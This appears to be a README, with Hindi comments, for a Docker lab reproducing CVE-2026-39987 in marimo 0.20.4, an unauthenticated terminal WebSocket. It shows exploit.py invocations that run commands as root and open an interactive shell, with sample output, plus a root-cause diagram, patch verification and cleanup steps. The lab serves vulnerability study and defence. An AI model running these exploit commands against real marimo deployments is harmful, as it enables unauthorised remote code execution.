┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

# रिपोजिटरी क्लोन करें
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# लैब प्रारंभ करें
docker-compose up --build -d

# एक्सप्लॉइट चलाएं
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# इंटरैक्टिव शेल प्राप्त करें
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

# एक कार्यशील निर्देशिका बनाएं और इन फ़ाइलों को अंदर रखें:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# लक्ष्य बनाएं और प्रारंभ करें
docker-compose up --build -d

# सत्यापित करें कि लक्ष्य चल रहा है
docker ps
# आपको देखना चाहिए: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

# ब्राउज़र या curl के माध्यम से मुख्य UI खोलने का प्रयास करें
curl -s http://127.0.0.1:2718/
# अपेक्षित: लॉगिन पेज पर रीडायरेक्ट या 401/403 (टोकन आवश्यक)

# बिना टोकन के मुख्य WebSocket (/ws) का प्रयास करें
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# अपेक्षित: गुम ऑथ के कारण कनेक्शन अस्वीकृत या तुरंत बंद

pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

python exploit.py ws://127.0.0.1:2718/terminal/ws shell

[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

# Dockerfile.target संपादित करें: marimo==0.20.4 को marimo==0.23.0 में बदलें
# या उपयोग करें: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# एक्सप्लॉइट को फिर से आज़माएं
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

# कंटेनरों को रोकें और हटाएं
docker-compose down -v

# निर्मित इमेज को हटाएं
docker rmi cve-lab_target

# किसी भी अनाथ इमेज को साफ करें
docker image prune -f